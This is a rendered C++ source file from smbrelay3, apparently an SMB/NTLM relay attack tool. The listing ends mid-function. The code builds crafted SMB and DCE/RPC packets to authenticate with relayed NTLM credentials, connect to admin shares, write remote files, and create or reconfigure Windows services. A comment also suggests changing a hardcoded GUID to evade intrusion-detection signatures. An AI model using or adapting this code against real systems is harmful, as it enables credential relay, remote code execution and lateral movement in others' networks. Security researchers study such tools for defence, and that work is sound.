C:/Web/smbrelay3/src/smb.cpp

Go to the documentation of this file.
00001 /* $Id$  
00002 SMBRELAY - Small SMB Library packet generation.
00003 
00004 Author: Andres Tarasco - (atarasco at gmail.com )
00005 URL:            http://www.tarasco.org
00006 
00007 This is not a complete library, but its functional for sending special crafted messages needed to perform attacks with smbrelay3
00008 Lots of improvements need to be done but at this time works for me. 
00009 Currently the following messages are supported: 
00010 
00011 a) SMB NTLM Authentication  (SessionSetupAndX)
00012 b) Connecting To resources (like c$, ipc$, admin$, pipes, ...) (TreeConnectAndX )
00013 c) Opening remote Files for Writting (by default) and reading (NtCreateAndX)
00014 d) Writting remote files (WriteAndX)
00015 e) Service Control Manager (Connnect, open, start, stop and modify service)
00016 
00017 Data structures have been added by reversing Raw dumps with the help of ethereal disectors. 
00018 NOTE: RPCBinds are hardcoded under non WIN32 Enviroments.
00019 
00020 */
00021 
00022 #define _CRT_SECURE_NO_DEPRECATE
00023 #include "ntlm.h"
00024 #include "smb.h"
00025 #include "misc.h"
00026 #ifdef WIN32
00027 #include <rpcdce.h>
00028 #pragma comment (lib,"rpcrt4")
00029 #endif
00030 uint16 UserID=0;
00031 uint16 MultpleID=0;
00032 
00033  void SetEnviroment(uint16 sessionUserID, uint16 sessionTreeID, uint16 sessionFID) {
00034     if (sessionUserID) UserID=sessionUserID;
00035 }
00036 //uint32 test;
00037 
00038 // Services Stub Generation
00039 int InitDataBlock(DataBlock *block,char *data) {
00040     memset(block,'\0',sizeof(DataBlock));
00041     block->Lenght=strlen(data)+1;
00042     block->MaxLenLow=block->Lenght;
00043     block->MaxLenHigh=0;
00044     chartoWide((char*)block->data,(char*)data,(int)strlen(data) );
00045     return( sizeof(DataBlock) -sizeof(block->data) + 2*block->Lenght +  2* (block->Lenght%2 ==1) );
00046 }
00047 
00048 int CreateServiceWStub(char *destionation,char *ContextHandle,char *ServiceName, char *ServiceDescription,char *path, int StartType, int ServiceType){
00049 
00050 
00051     char *p;
00052     int len1, len2, len3;
00053     CreateServiceWStruct *CreateServiceWMsg=(CreateServiceWStruct *)destionation;
00054     CreateServiceWStruct *Message=(CreateServiceWStruct*)malloc(sizeof(CreateServiceWStruct));
00055     memset((char*)Message,0,sizeof(CreateServiceWStruct));    
00056     memcpy((char*)Message->ContextHandle,(char*)ContextHandle,20);
00057    
00058     len1=InitDataBlock(&Message->ServiceName,ServiceName);
00059     Message->unknown=0x00020000;
00060     len2=InitDataBlock(&Message->ServiceDescription,ServiceDescription);
00061     Message->unknown1=0x000f01ff;
00062     Message->StartType=StartType;
00063     Message->ServiceType=ServiceType;
00064     //Message->unknown2=
00065     len3=InitDataBlock(&Message->path,path);
00066     
00067     p=(char*)CreateServiceWMsg;
00068     memcpy((char*)p,(char*)Message,sizeof(CreateServiceWStruct));
00069     p=p + 20 + len1;
00070     memcpy((char*)p ,(char*)&Message->unknown,4 +len2);
00071     p= p + 4 +len2;
00072     memcpy(p,(char*)&Message->unknown1,sizeof(CreateServiceWStruct));
00073     p = p + 4*4 + len3;
00074     memcpy(p,(char*)&Message->blank,28);
00075     free(Message);
00076     return ( sizeof(CreateServiceWStruct) - sizeof(DataBlock)*3 +len1 + len2 + len3);    
00077     free(Message);
00078 
00079 }
00080 
00081 
00082 int ChangeServiceConfigWStub(char *destionation,char *ContextHandle,char *path, int StartType, int ServiceType) {
00083 
00084     ChangeServiceConfigWStruct *ChangeServiceConfigWMessage=(ChangeServiceConfigWStruct *)destionation;
00085     memset((char*)ChangeServiceConfigWMessage,'\0',sizeof(ChangeServiceConfigWStruct));
00086     memcpy((char*)ChangeServiceConfigWMessage->ContextHandle,(char*)ContextHandle,20);
00087     ChangeServiceConfigWMessage->StartType=StartType;
00088     ChangeServiceConfigWMessage->ServiceType=ServiceType;
00089     ChangeServiceConfigWMessage->unknown1=0x00000000; //maybe error parameter ?
00090     ChangeServiceConfigWMessage->unknown2=0x0000;
00091     ChangeServiceConfigWMessage->unknown3=0x02;
00092     ChangeServiceConfigWMessage->MaxLenLow=strlen(path)+1;
00093     ChangeServiceConfigWMessage->MaxLenHigh=0;
00094     ChangeServiceConfigWMessage->Lenght=strlen(path)+1;
00095     chartoWide((char*)&ChangeServiceConfigWMessage->buffer,(char*)path,(int)strlen(path) );
00096     return( sizeof(ChangeServiceConfigWStruct) - sizeof(ChangeServiceConfigWMessage->buffer) + ChangeServiceConfigWMessage->MaxLenLow*2  + 2*((((int)strlen((char*)path)+1)%2) ==1));
00097 }
00098 
00099 int OpenServiceWStub(char *destionation,char *ContextHandle,char *servicename,  int flags)
00100 {    
00101     /*
00102     Function: OpenServiceWStub() 
00103               Genera el Stub de una llamada OpenServiceW() para incluirlo en un paquete SMB.
00104     Parameters:
00105      [out] OpenServiceAMessage: Stub resultante
00106      [int] ContextHandle: 20 bytes Handle (devuelto en una llamada OpenServiceManager()
00107      [in] Servicename:  string que contiene el nombre de servicio a abrir.
00108      [in] flags: Flags de la llamada OpenServiceW()
00109 
00110      Result value:
00111         size of the stub data packet
00112     */
00113     int len1;
00114     OpenServiceAStruct *OpenServiceAMessage = (OpenServiceAStruct *)destionation;
00115 
00116     memset((char*)OpenServiceAMessage,'\0',sizeof(OpenServiceAStruct));
00117     len1=InitDataBlock(&OpenServiceAMessage->ServiceName,servicename);
00118     OpenServiceAMessage->flags=flags;
00119     memcpy((char*)OpenServiceAMessage->ContextHandle,(char*)ContextHandle,20);
00120     memcpy((char*)OpenServiceAMessage +20 +len1,&OpenServiceAMessage->flags,4);
00121     return ( 24 +len1);//sizeof(OpenServiceAStruct) - sizeof(OpenServiceAMessage->buffer) + (OpenServiceAMessage->Lenght)*2  );
00122 }
00123 
00124 
00125 int OpenScManagerWStub(char *destionation, char *data, int flags) 
00126 {
00127     /*
00128     Function: OpenScManagerWStub() - Genera el Stub de una llamada OpenScManagerW() para incluirlo en un paquete SMB.
00129     Parameters:
00130      [out] Mscstruct: Stub resultante
00131      [in] data:  string que contiene el nombre de service Manager a abrir.
00132      [in] flags: Flags de la llamada OpenScManagerW()
00133 
00134      Result value: size of the stub data packet
00135 
00136     */    
00137     MSCStruct *Mscstruct=(MSCStruct *)destionation;
00138     memset(Mscstruct,'\0',sizeof(MSCStruct));
00139         Mscstruct->ReferentID=0x00020000;                                       
00140         Mscstruct->MaxCount=(uint32)strlen((char*)data)+1;//0x07;
00141         Mscstruct->Offset=0;
00142         Mscstruct->ActualCount=(uint32)strlen((char*)data)+1;//0x07;
00143         Mscstruct->Database=0x00000000;
00144         Mscstruct->AccessMask=flags;
00145 
00146     //This data is optional. looks that its not checked
00147         chartoWide((char*)&Mscstruct->lpFileNameW,(char*)data,(int)strlen(data) );
00148 
00149         memcpy((char*)Mscstruct + sizeof(MSCStruct) - sizeof(Mscstruct->lpFileNameW) -8 + 2*((((int)strlen((char*)data)+1)%2) ==1) +(strlen((char*)data)+1)*sizeof(WCHAR),(char*)&Mscstruct->Database,8 );
00150     return (24 + (uint32)(strlen((char*)data)+1)*sizeof(WCHAR) + 2*((((int)strlen((char*)data)+1)%2) ==1));
00151 
00152 }
00153 
00154 
00155 
00156 int BuildTreeConnectAndXStub(char *destination,char *password, char *resource, char *service)
00157 {
00158     TreeConnectAndX *message=(TreeConnectAndX*)destination;
00159     smheader *foo;
00160     message->WordCount=(uint16)4;
00161     message->AndXCommand=0xff;
00162     message->reserved2=0;    
00163     message->AndXOffset = sizeof(TreeConnectAndX) + strlen(password) + strlen(service)+1 + (strlen((char*)resource)+1)*sizeof(WCHAR) +          sizeof(smheader) - sizeof(foo->buffer) -4;
00164     message->flags=0x8;
00165     message->PasswordLen=strlen(password)+1;
00166     message->ByteCount = (strlen(resource)+1 )*sizeof(WCHAR) + message->PasswordLen +strlen(service)+1;
00167     memcpy((char*)&message->Password,password,message->PasswordLen);
00168     chartoWide((char*)&message->Password + message->PasswordLen,(char*)resource,(int)strlen((char*)resource) +1 );
00169     memcpy(destination+sizeof(TreeConnectAndX) + (strlen((char*)resource)+1)*sizeof(WCHAR) ,service,strlen(service)+1);//"\x3f\x3f\x3f\x3f\x3f\x00",6);
00170     
00171     return( sizeof(TreeConnectAndX) + strlen(password) + strlen(service)+1 + (strlen((char*)resource)+1)*sizeof(WCHAR) );
00172 
00173 }
00174 
00175 char *AddDialect(char *data, char *name, uint8 type, int *PacketSize) {
00176 
00177     if (!data) {
00178         *PacketSize=0;
00179         data=(char*)malloc(strlen(name)+2);
00180     } else {
00181         data=(char*)realloc(data, *PacketSize +2 + strlen(name));
00182     }
00183     //printf("PacketSize vale: %i\n",*PacketSize);
00184     data[*PacketSize]=type;
00185     strcpy((char*)&data[*PacketSize+1],name);
00186     *PacketSize+=2+strlen(name);
00187     return(data);
00188 }
00189 
00190 
00191 #ifdef WIN32
00192 CtxItem *AddBinddingInformation(CtxItem *CurrentCtx, char *Abstract, char *Transfer, int MayorVersion, int MinorVersion,int *PacketSize)
00193 {
00194     CtxItem *ctx=CurrentCtx;
00195     int i=0;
00196     if (!ctx){
00197         ctx=(CtxItem*)malloc(sizeof(CtxItem));
00198         *PacketSize=0;
00199     } else {
00200         ctx=(CtxItem*)realloc(ctx,*PacketSize +sizeof(CtxItem));
00201     }
00202     
00203     i=*PacketSize/sizeof(CtxItem);
00204     *PacketSize+=sizeof(CtxItem);
00205     ctx[i].ContextID=i;
00206     ctx[i].NumberOfTransItems=1;        
00207     ctx[i].padding=0;
00208     ctx[i].AbstractSyntaxis.MayorVersion=MayorVersion;
00209         ctx[i].AbstractSyntaxis.MinorVersion=MinorVersion;
00210     UuidFromStringA((unsigned char *)Abstract, (UUID   *) &ctx[i].AbstractSyntaxis.uuid[0]);
00211     ctx[i].TransferSyntaxis.MayorVersion=MayorVersion;
00212         ctx[i].TransferSyntaxis.MinorVersion=MinorVersion;
00213     UuidFromStringA((unsigned char *)Transfer, (UUID   *)&ctx[i].TransferSyntaxis.uuid[0]);
00214     return(ctx);
00215 }
00216 #endif
00217 
00218 smheader *BuildSmbPacket(smheader *PreviousSmbMessage,uint8 SmbCommand,uint8 SubCommand, void *data, int DataSize) 
00219 {
00220 
00221 
00222         smheader *NewSmbPacket;
00223         WCHAR tail1[18];
00224         WCHAR tail2[17];
00225 
00226         //Parameters Supported:
00227         SessionSetupAndX *SessionSetupAndXMessage;
00228         SessionSetupAndXResponse *SessionSetupAndXResponseMessage; 
00229 //      TreeConnectAndX  *TreeConnectAndXMessage;
00230         FIND_FIRST2              *FIND_FIRST2Message;
00231         NTCreateAndX     *NTCreateAndXMessage;
00232         WriteAndX                *WriteAndXMessage;
00233         SMB_COM_TRANSACTION_STRUCT       *TransRequest;//
00234         ReadAndX                 *ReadAndXMessage;
00235         CLOSE                    *CloseMessage;
00236 
00237         //dce
00238         DceRpcBind               *dcerpcbind;
00239 //      CtxItem                  *ctx;
00240         DceRpcRequest    *dcerpc;
00241 
00242         //other variables
00243         WCHAR lpFileNameW[256];
00244 //      int             i,j;
00245 
00246 
00247 
00248         NewSmbPacket=(smheader*)malloc(sizeof(smheader));    
00249         memset((char*)NewSmbPacket,'\0',sizeof(smheader));
00250         NewSmbPacket->SmbMessageType=0x0000;
00251 
00252     //0xFF for SMBv1 and 0xFE for SMBv2 (TODO)
00253         memcpy((char*)NewSmbPacket->ProtocolHeader,"\xff\x53\x4d\x42",4); //"?SMB"
00254         NewSmbPacket->SmbCommand=SmbCommand;
00255         NewSmbPacket->flags=0x18;
00256     NewSmbPacket->flags2=0xc803; //LOWEST SMB FLAGS with Unicode
00257     //NewSmbPacket->flags2=0x4803;
00258 //    NewSmbPacket->flags2=0xc802;
00259 
00260     NewSmbPacket->ProccessID=0xfeff;
00261         //NewSmbPacket->ProccessID=6666;
00262 /*
00263         if (SmbCommand==SESSIONSETUPANDX) { //Init UserID value
00264                 if (PreviousSmbMessage!=NULL)  {
00265                         UserID=PreviousSmbMessage->UserID;
00266             printf("estableciendo UserID: %i\n",UserID);
00267                 } 
00268         }
00269     */
00270 
00271         NewSmbPacket->UserID=UserID;
00272         NewSmbPacket->multipleID=MultpleID; 
00273         MultpleID+=64;
00274 
00275 
00276     if (DataSize > sizeof(NewSmbPacket->buffer)) {
00277         NewSmbPacket=(smheader*)realloc(NewSmbPacket,sizeof(smheader) + DataSize);
00278 
00279      }
00280         
00281 
00282 
00283         switch(SmbCommand)
00284         {
00285 
00286         case NEGOTIATEPROTOCOLREQUEST:
00287         UserID=0;
00288                 MultpleID=0;
00289         if (SubCommand==CONTINUERESPONSE) {
00290             /*
00291                 Generates an SMB Negotiate Protocol Response.
00292                 This packet is needed when acting as an SMB Server.
00293                 NOTE: If the original reponse from the client is sent, the server could force logoff due to kerberos authentication failure.
00294                  so we need to create our own packet with an unknown Computer GUID
00295             */
00296                         NewSmbPacket->flags=0x98;
00297             NegotiateProtocolResponse *NegotiateProtocolResponseMessage;
00298                     NegotiateProtocolResponseMessage=(NegotiateProtocolResponse *)malloc(sizeof(NegotiateProtocolResponse));
00299                     memset((char*)NegotiateProtocolResponseMessage,'\0',sizeof(NegotiateProtocolResponse));
00300             NewSmbPacket->SmbMessageLength=SREV(85);
00301             NegotiateProtocolResponseMessage->WordCount=17;
00302             NegotiateProtocolResponseMessage->DialecIndex=5; //grater than lanman2.1
00303             NegotiateProtocolResponseMessage->SecurityMode=0x03; // User Security Mode + Password encrypted
00304             NegotiateProtocolResponseMessage->MaxMxpCount=50;
00305             NegotiateProtocolResponseMessage->MaxVcs=1;
00306             NegotiateProtocolResponseMessage->MaxBufferSize=16644;
00307             NegotiateProtocolResponseMessage->MaxRawBuffer=65536;
00308             NegotiateProtocolResponseMessage->SessionKey=0x00000000;
00309             NegotiateProtocolResponseMessage->Capabilities=0x8001f3fd;
00310             //FIX and set a valid ServerTime.
00311             //NegotiateProtocolResponseMessage->ServerTime=0; 
00312             NegotiateProtocolResponseMessage->ServerTimeZone=0x0000;
00313             NegotiateProtocolResponseMessage->KeyLength=0;
00314             NegotiateProtocolResponseMessage->ByteCount=16;
00315             //TODO: Generate Random SMBRELAY Server GUID.
00316             //change it to avoid IDS Signatures :)
00317             memcpy(NegotiateProtocolResponseMessage->ServerGuid,"\xef\xea\x7f\x5b\xe2\x0a\x4e\x4d\xad\xee\xa6\\x29\x15\\xab",16);
00318             memcpy(NewSmbPacket->buffer,(char*)NegotiateProtocolResponseMessage,sizeof(NegotiateProtocolResponse));
00319             free(NegotiateProtocolResponseMessage);
00320 
00321         } else {/* Generates an SMB Negotiate Protocol Response. This packet is needed when acting as an SMB Client.         */
00322             NegotiateProtocolRequest* NegotiateProtocolRequestMessage;
00323                     NegotiateProtocolRequestMessage=(NegotiateProtocolRequest *)malloc(sizeof(NegotiateProtocolRequest));
00324                     memset((char*)NegotiateProtocolRequestMessage,'\0',sizeof(NegotiateProtocolRequest));
00325                     NewSmbPacket->SmbMessageLength=SREV(35 + DataSize);
00326             if (DataSize > ( sizeof(NewSmbPacket->buffer) - sizeof(NegotiateProtocolRequest) + sizeof(DIALECT*) )) 
00327             {
00328                 NewSmbPacket=(smheader*)realloc(NewSmbPacket,sizeof(smheader) -sizeof(NewSmbPacket->buffer) + sizeof(NegotiateProtocolRequest) +DataSize );
00329 
00330             }
00331                     NegotiateProtocolRequestMessage->WordCount=0;
00332             NegotiateProtocolRequestMessage->ByteCount=DataSize;
00333                     memcpy(NewSmbPacket->buffer,(char*)NegotiateProtocolRequestMessage,sizeof(NegotiateProtocolRequest)-sizeof(DIALECT*) );
00334             memcpy(NewSmbPacket->buffer + sizeof(NegotiateProtocolRequest)-sizeof(DIALECT*) ,data, DataSize);
00335             free(NegotiateProtocolRequestMessage);
00336         }
00337                 break;
00338 
00339         case FINDFIRST2:
00340 
00341                 FIND_FIRST2Message=(FIND_FIRST2 *)malloc(sizeof(FIND_FIRST2));
00342         if (DataSize > sizeof(NewSmbPacket->buffer)) {
00343             NewSmbPacket=(smheader*)realloc(NewSmbPacket,sizeof(smheader) + DataSize);
00344 
00345         }
00346                 memset((char*)FIND_FIRST2Message,'\0',sizeof(FIND_FIRST2));
00347         NewSmbPacket->SmbMessageLength=SREV (sizeof(smheader)- sizeof(NewSmbPacket->buffer) +sizeof(FIND_FIRST2) -sizeof(FIND_FIRST2Message->SearchPattern) + (DataSize+1)*2   -4 );
00348                 if (PreviousSmbMessage!=NULL){
00349                         NewSmbPacket->TreeId=((smheader *)PreviousSmbMessage)->TreeId;
00350                 }
00351 
00352                 FIND_FIRST2Message->WordCount=15;
00353                 FIND_FIRST2Message->TotalParameterCount=18;
00354                 FIND_FIRST2Message->TotalDataCount=0;
00355                 FIND_FIRST2Message->MaxParameterCount=10;
00356                 FIND_FIRST2Message->MaxDataCount=16384;
00357                 FIND_FIRST2Message->MaxSetupCount=0;
00358                 FIND_FIRST2Message->reserved=0;
00359                 FIND_FIRST2Message->flags=0x0000;
00360                 FIND_FIRST2Message->timeout=0; //No Timeout
00361                 FIND_FIRST2Message->reserved2=0;
00362         FIND_FIRST2Message->ParameterCount=12 + (DataSize+1)*2;//18; //sizeo of Find_First2 struct
00363                 FIND_FIRST2Message->ParameterOffset=68; //default offset. We are only sending static messages
00364                 FIND_FIRST2Message->DataCount=0;
00365                 FIND_FIRST2Message->DataOffset=0;
00366                 FIND_FIRST2Message->SetupCount=1;
00367                 FIND_FIRST2Message->reserved3=0;
00368                 FIND_FIRST2Message->SubCommand=0x01; //FIND_FIRST2
00369         //4 setfs quote
00370                 FIND_FIRST2Message->ByteCount=3+ 12 + (DataSize+1)*2;//21; //sizeof(->find_First2 + Padding )
00371 
00372         FIND_FIRST2Message->SearchAttributes=0x16;
00373         FIND_FIRST2Message->SearchCount=1366;
00374         FIND_FIRST2Message->Searchflags=0x0006;
00375         FIND_FIRST2Message->LevelOfInterest=260;
00376         FIND_FIRST2Message->StorageType=0;
00377         
00378         FIND_FIRST2Message->SearchPattern=(uint8*)malloc((DataSize+1)*2);
00379         memset(FIND_FIRST2Message->SearchPattern,'\0',(DataSize+1)*2);
00380 
00381         chartoWide((char*)FIND_FIRST2Message->SearchPattern,(char*)data,DataSize );
00382         //memcpy((char*)&FIND_FIRST2Message->SearchAttributes,(char*)FIND_FIRST2Message->SearchPattern,12 );
00383         /*
00384         memcpy((char*)&FIND_FIRST2Message->SearchPattern[0],(char*)data,DataSize );
00385         memcpy((char*)&FIND_FIRST2Message->SearchPattern[DataSize],(char*)data,DataSize );
00386         */
00387 
00388 
00389         memcpy(NewSmbPacket->buffer,(char*)FIND_FIRST2Message, 48);// + (DataSize+1)*2);//sizeof(FIND_FIRST2));
00390         memcpy(NewSmbPacket->buffer +48,(char*)FIND_FIRST2Message->SearchPattern, (DataSize+1)*2);//
00391         free(FIND_FIRST2Message);
00392         free(FIND_FIRST2Message->SearchPattern);
00393                 break;
00394 
00395         case NTCREATEANDX:
00396                 NTCreateAndXMessage=(NTCreateAndX *)malloc(sizeof(NTCreateAndX));
00397                 memset((char*)NTCreateAndXMessage,'\0',sizeof(NTCreateAndX));
00398                 NewSmbPacket->SmbMessageLength=(uint16)SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) +sizeof(NTCreateAndX) + (strlen((char*)data)+1)*sizeof(WCHAR) -4 );
00399 
00400                 NewSmbPacket->TreeId=((smheader *)PreviousSmbMessage)->TreeId;
00401                 NTCreateAndXMessage->WordCount=24;
00402                 NTCreateAndXMessage->AndXCommand=0xff; //0xff no further command
00403                 NTCreateAndXMessage->reserved2=0; 
00404                 NTCreateAndXMessage->AndXOffset=0xdede;  
00405                 NTCreateAndXMessage->FilenameLen=(uint16)(strlen((char*)data))*sizeof(WCHAR);
00406                 NTCreateAndXMessage->CreationFlags=0x16;
00407                 NTCreateAndXMessage->RootFID=0;
00408 
00409                 //We call readFileToSend with response+1 because filename is in the following format " \ + filename"
00410                 NTCreateAndXMessage->AllocationSize=DataSize;//ReadFileToSend(NULL,(char*)data+1);
00411                 NTCreateAndXMessage->AllocationSizeHigh=0;      
00412                 NTCreateAndXMessage->Impersonation=0x02;
00413                 NTCreateAndXMessage->SecurityFlags=0x03;
00414 
00415                 if (DataSize==0){ //pipe
00416                         NTCreateAndXMessage->ShareAccess=0x03; //SHARE_READ & SHARE_WRITE
00417                         NTCreateAndXMessage->Disposition=0x01;
00418                         NTCreateAndXMessage->CreateOptions=0x00400040;
00419                         NTCreateAndXMessage->AccessMask=0x0002019f;
00420                         NTCreateAndXMessage->FileAttributes=0;
00421                 } else { //file
00422                         NTCreateAndXMessage->ShareAccess=0;
00423                         NTCreateAndXMessage->Disposition=0x05; //overwrite + create
00424                         NTCreateAndXMessage->CreateOptions=0x44;
00425                         NTCreateAndXMessage->AccessMask=0x30196;
00426                         NTCreateAndXMessage->FileAttributes=0x20;
00427                 }
00428 
00429                 NTCreateAndXMessage->ByteCount=NTCreateAndXMessage->FilenameLen+2+1; //Append wideNullChar and 1 extra byte
00430                 NTCreateAndXMessage->padding=0;
00431                 memcpy(NewSmbPacket->buffer,(char*)NTCreateAndXMessage,sizeof(NTCreateAndX));
00432 
00433                 memset((char*)lpFileNameW,'\0',sizeof(lpFileNameW));
00434                 //              mbstowcs(lpFileNameW,(char*)data,strlen((char*)data) );
00435                 chartoWide((char*)lpFileNameW,(char*)data,(int)strlen((char*)data) );
00436 #ifdef _DBG_
00437                 printf("Data: %S\n",lpFileNameW);
00438 #endif
00439                 memcpy(NewSmbPacket->buffer+sizeof(NTCreateAndX),(char*)lpFileNameW,(strlen((char*)data)+1)*sizeof(WCHAR) );
00440         free(NTCreateAndXMessage);
00441                 break;
00442 
00443 
00444 
00445 
00446         case SMBCLOSE:
00447                 CloseMessage=(CLOSE *)malloc(sizeof(CLOSE));
00448                 memset((char*)CloseMessage,'\0',sizeof(CLOSE));
00449         
00450                 NewSmbPacket->SmbMessageLength=SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) +sizeof(CLOSE)  -4 );
00451 
00452                 CloseMessage->ByteCount=0;
00453                 CloseMessage->WordCount=3;
00454                 CloseMessage->LastWrite=0xFFFFFFFF;
00455                 memcpy((char*)&CloseMessage->FID,(char*)data,2);
00456                 memcpy(NewSmbPacket->buffer,(char*)CloseMessage,sizeof(CLOSE)); 
00457         free(CloseMessage);
00458                 break;
00459 
00460 
00461 
00462         case READANDX:
00463                 ReadAndXMessage=(ReadAndX *)malloc(sizeof(ReadAndX));
00464                 memset((char*)ReadAndXMessage,'\0',sizeof(ReadAndX));
00465                 NewSmbPacket->SmbMessageLength=SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) +sizeof(ReadAndX) -4 );
00466                 NewSmbPacket->TreeId=((smheader *)PreviousSmbMessage)->TreeId;
00467     
00468                 ReadAndXMessage->WordCount=12;
00469                 ReadAndXMessage->AndXCommand=0xff; //0xff no further command
00470                 ReadAndXMessage->reserved2=0x00; 
00471                 ReadAndXMessage->AndXOffset=0xdede; 
00472                 //ReadAndXMessage->FID este valor lo rellenamos fuera dado que aqui no tenemos la información  necesaria. Es el identificador del ultimo fichero abierto.
00473                 /*
00474                 NTCreateAndXMessage = (NTCreateAndX*)SmbMessage->buffer;
00475                 memcpy(&ReadAndXMessage->FID,(char*)NTCreateAndXMessage+6,2);
00476                 */
00477                 //              printf("FID: %4.4x\n",ReadAndXMessage->FID);
00478                 ReadAndXMessage->offset=0x00000000;
00479                 ReadAndXMessage->MaxCountLow=1024;
00480                 ReadAndXMessage->MinCount=1024;
00481                 ReadAndXMessage->reserved=0xffffffff;
00482                 ReadAndXMessage->remaining=1024;
00483                 ReadAndXMessage->HighOffset=0;
00484                 ReadAndXMessage->ByteCount=0;
00485                 memcpy(NewSmbPacket->buffer,(char*)ReadAndXMessage,sizeof(ReadAndX));
00486         free(ReadAndXMessage);
00487                 break;
00488 
00489 
00490 
00491         case WRITEANDX:
00492                 WriteAndXMessage=(WriteAndX *)malloc(sizeof(WriteAndX));
00493                 memset((char*)WriteAndXMessage,'\0',sizeof(WriteAndX));
00494                 NTCreateAndXMessage = (NTCreateAndX*)PreviousSmbMessage->buffer;
00495                 NewSmbPacket->TreeId=((smheader *)PreviousSmbMessage)->TreeId;
00496                 WriteAndXMessage->WordCount=14;
00497                 WriteAndXMessage->AndXCommand=0xff;
00498                 WriteAndXMessage->reserved2=0;
00499                 WriteAndXMessage->AndXOffset=0xdede;
00500                 memcpy(&WriteAndXMessage->FID,(char*)NTCreateAndXMessage+6,2);
00501 
00502                 WriteAndXMessage->Offset=0;
00503                 WriteAndXMessage->reserved=0xffffffff;
00504                 WriteAndXMessage->DataLengthHigh=0;
00505                 WriteAndXMessage->DataOffset=64;
00506                 WriteAndXMessage->HighOffset=0;
00507                 WriteAndXMessage->Padding=0xee; 
00508 
00509                 switch (SubCommand)
00510                 {
00511                 case 0: //Default WriteAndX Operation
00512                         NewSmbPacket->SmbMessageLength=(uint16)SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) +sizeof(WriteAndX) +DataSize -4 );
00513                         WriteAndXMessage->WriteMode=0;
00514                         WriteAndXMessage->Remaining=0;
00515                         WriteAndXMessage->DataLengthLow=DataSize;
00516                         WriteAndXMessage->ByteCount=DataSize+1;
00517                         memcpy(NewSmbPacket->buffer,(char*)WriteAndXMessage,sizeof(WriteAndX));
00518                         memcpy(NewSmbPacket->buffer+sizeof(WriteAndX),(char*)data,DataSize);
00519             free(WriteAndXMessage);
00520                         break;
00521                 case  RPCBIND:
00522                         //i=116; //size of the ctx struct + dce
00523                         //Interface: SVCCTL UUID: 367abb81-9844-35f1-ad32-98f038001003
00524                         //Transfer Syntax: 8a885d04-1ceb-11c9-9fe8-08002b104860
00525             
00526                         //Transfer Syntax: 6cb71c2c-9812-4540-0100-000000000000
00527             //ctx=AddBinddingInformation(ctx,"367abb81-9844-35f1-ad32-98f038001003","6cb71c2c-9812-4540-0100-000000000000",2,0,&i);
00528             //DumpMem((char*)ctx,i);
00529                         //NewSmbPacket->SmbMessageLength=SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) +sizeof(WriteAndX) + sizeof(DceRpcBind) + i -4);
00530             NewSmbPacket->SmbMessageLength=SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) +sizeof(WriteAndX) + sizeof(DceRpcBind) + DataSize -4);
00531                         WriteAndXMessage->WriteMode=0x08;
00532                         WriteAndXMessage->Remaining=DataSize + sizeof(DceRpcBind);
00533                         WriteAndXMessage->DataLengthLow=DataSize + sizeof(DceRpcBind);
00534                         WriteAndXMessage->ByteCount=DataSize+ sizeof(DceRpcBind) +1;
00535                         memcpy(NewSmbPacket->buffer,(char*)WriteAndXMessage,sizeof(WriteAndX));
00536 
00537                         dcerpcbind=(DceRpcBind*)malloc(sizeof(DceRpcBind));
00538                         memset((char*)dcerpcbind,'\0',sizeof(DceRpcBind));
00539                         dcerpcbind->VersionMayor=5;
00540                         dcerpcbind->VersionMinor=0;
00541                         dcerpcbind->PacketType=SubCommand; //Bind
00542                         dcerpcbind->PacketFlags=0x03;
00543                         dcerpcbind->DataRepresentation=0x00000010;
00544                         dcerpcbind->FragmentLength=sizeof(DceRpcBind) + DataSize;
00545                         dcerpcbind->AuthLength=0;
00546                         dcerpcbind->CallID=1;
00547                         dcerpcbind->MaxXmitFragment=4280;
00548                         dcerpcbind->MaxRecvFragment=4280;
00549                         dcerpcbind->AssocGroup=0;
00550             dcerpcbind->NumberOfCtx=DataSize / sizeof(CtxItem);
00551             
00552                         memcpy(NewSmbPacket->buffer +sizeof(WriteAndX) ,(char*)dcerpcbind,sizeof(DceRpcBind));
00553             memcpy(NewSmbPacket->buffer +sizeof(WriteAndX) + sizeof(DceRpcBind),(char*)data,DataSize);
00554             
00555             free(dcerpcbind);
00556             free(WriteAndXMessage);
00557                         break;
00558                 default:
00559                         printf("Unsupported WriteAndX option\n");
00560                         return(NULL);
00561                         break;
00562                 }               
00563                 break;
00564 
00565 
00566         case SMB_COM_TRANSACTION:
00567                 TransRequest=(SMB_COM_TRANSACTION_STRUCT *)malloc(sizeof(SMB_COM_TRANSACTION_STRUCT));
00568                 memset((char*)TransRequest,'\0',sizeof(SMB_COM_TRANSACTION_STRUCT));
00569                 NewSmbPacket->TreeId=((smheader *)PreviousSmbMessage)->TreeId;
00570                 TransRequest->WordCount=16;
00571                 TransRequest->TotalParameterCount=0 ;
00572                 TransRequest->MaxDataCount=1024;
00573                 TransRequest->MaxParameterCount=0;
00574                 TransRequest->MaxSetupCount=0;
00575                 TransRequest->reserved=0;
00576                 TransRequest->flags=0;
00577                 TransRequest->timeout=0x00000000;
00578                 TransRequest->reserved2=0;
00579                 TransRequest->ParameterCount=0;
00580                 TransRequest->ParameterOffset=84;
00581                 TransRequest->DataOffset=84;
00582                 TransRequest->SetupCount=2; 
00583                 TransRequest->reserved3=0;
00584 
00585         TransRequest->Function=0x26; //TRANSACT Named PIPE
00586                 TransRequest->padding=0;                
00587                 memcpy((char*)TransRequest->TransactionName,"\x5c\x00\x50\x00\x49\x00\x50\x00\x45\x00\x5c\x00\x00\x00",14);
00588                 TransRequest->padding2=0;
00589 
00590         dcerpc=(DceRpcRequest*)malloc(sizeof(DceRpcRequest));
00591                 memset((char*)dcerpc,'\0',sizeof(DceRpcRequest));
00592                 dcerpc->VersionMayor=5;
00593                 dcerpc->VersionMinor=0;
00594                 dcerpc->PacketType=0;
00595                 dcerpc->PacketFlags=3;
00596                 dcerpc->DataRepresentation=0x00000010;
00597                 dcerpc->AuthLength=0;
00598                 dcerpc->CallID=1;
00599                 dcerpc->ContextID=0;
00600                 dcerpc->OpNum=SubCommand;
00601         //--------
00602 
